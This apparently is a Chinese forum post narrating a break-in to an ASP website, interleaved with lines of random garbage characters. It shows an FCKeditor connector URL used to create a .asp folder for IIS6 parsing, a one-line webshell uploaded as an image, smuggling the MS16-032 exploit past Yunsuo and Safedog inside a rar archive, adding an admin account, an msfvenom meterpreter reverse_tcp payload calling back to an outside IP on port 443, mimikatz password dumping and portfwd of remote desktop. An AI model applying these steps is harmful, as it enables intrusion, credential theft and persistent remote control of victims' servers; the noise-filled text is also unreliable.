|
8 G& K% T4 ^6 D {. o7 D" X1 ~
$ B6 v2 m( H4 z , ^9 D4 H. l5 a: q
8 ^8 k1 a; ~* S1 f6 j
|
2 p+ R8 P" A% J! H2 Q- }# b / `# E1 }' f2 R" {% e G5 m! }& W. ]' d
8 Q( {0 H# F; S" B. p) Z# W+ ]一、 利用getwebshell篇
3 A: {4 Y% W5 A# ?4 j
& H. G) D! V8 Q6 L+ n% c; ~首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
! ^# S$ }" y& R* G, V1 \0 C
0 F* v- t. ]! a: t$ y! A: o' J
6 i3 V4 \, h: I5 G* i# P7 `8 u* K7 M
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
& d. y0 U6 n0 O! I- m- V
) W# l' h' ?- O' L# x& N下面我们构造一个asp目录，如： 1 u9 h& b S4 x, t3 L) ~- j: d
0 u5 b- {# m' t9 A; ^
1 Q( q; y! p! D http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
2 h3 u! [* V9 p
7 b' u7 J/ I9 u. K: k7 q% p
5 p8 {5 j h8 e6 Y9 X$ L 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
8 E$ L. s; y( Z4 Q6 f- n9 G+ ]$ p
+ W6 v$ \" b- ?8 O一、 绕过安全狗云锁提权并且加账号
# I W `, b3 X
/ g2 D# _$ d N+ _7 g _% s没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
! P2 E& A. A+ V% n2 W- d& b/ ?% }
5 R |/ s* a, O' k! H
如图：
( F n8 |; ~: H! l# i5 _$ c
; R, |( i" |9 g然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
6 W' P3 q, I0 M" n+ i% @4 C
4 l. b& O! r9 |& q& K4 Q8 I一、 利用metasploit
( q5 G& f% G8 Q, }+ P" k2 r/ N9 g
; `) S2 M( k, `/ |4 z1 z2 z+ r首先用pentestbox生成一个64位的payload如下命令
! z$ K; z; u) W$ f
0 O, k, X) S4 t- s7 b- ^1 o7 A, X
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
: ~3 Z# r: [/ U' [
# Y+ y7 ^0 w& q
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
& ?2 A; y# e; Q! x( d
5 f: Q1 ~/ ?, ~# @* W% Y* _下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
& `% K P4 L3 c" Q9 Q4 K- b; u
7 u! ?8 s* Z3 Z. n$ T6 N下面我们来做一个监听如下命令：
7 S! D" [& R+ G/ A
9 l' E4 }/ \6 e8 m9 c: I9 O
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
! T9 E$ ~) P2 w. l
! s" O& K s) G) }) e. A$ F. K- v/ r @7 ]% H1 m# V! i/ s) J; l
| & B. R7 O* X" ]. t' x/ y
& {. _4 a) a% I! Z$ ]( d
6 l/ m% t! L* D/ e: t , Z) {5 }# s+ N6 Y
6 W5 b9 B2 l" c+ f
1 G/ q% T- O! v* O
/ ? J1 A' h% g
& e' T j. o, ?. @4 t) k
, u6 m. w. T2 z, A) ~0 ^5 O5 }% H' F
6 l% V! _% E9 U! ?9 F
- _! `, y) [1 f" ^9 Z! Q" D3 G& Z
3 k) [6 X* D9 Z5 w
3 j, w: _/ w" g$ O9 n+ i. l& h4 ^1 K
! ~7 X1 D7 I- O$ J: | | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06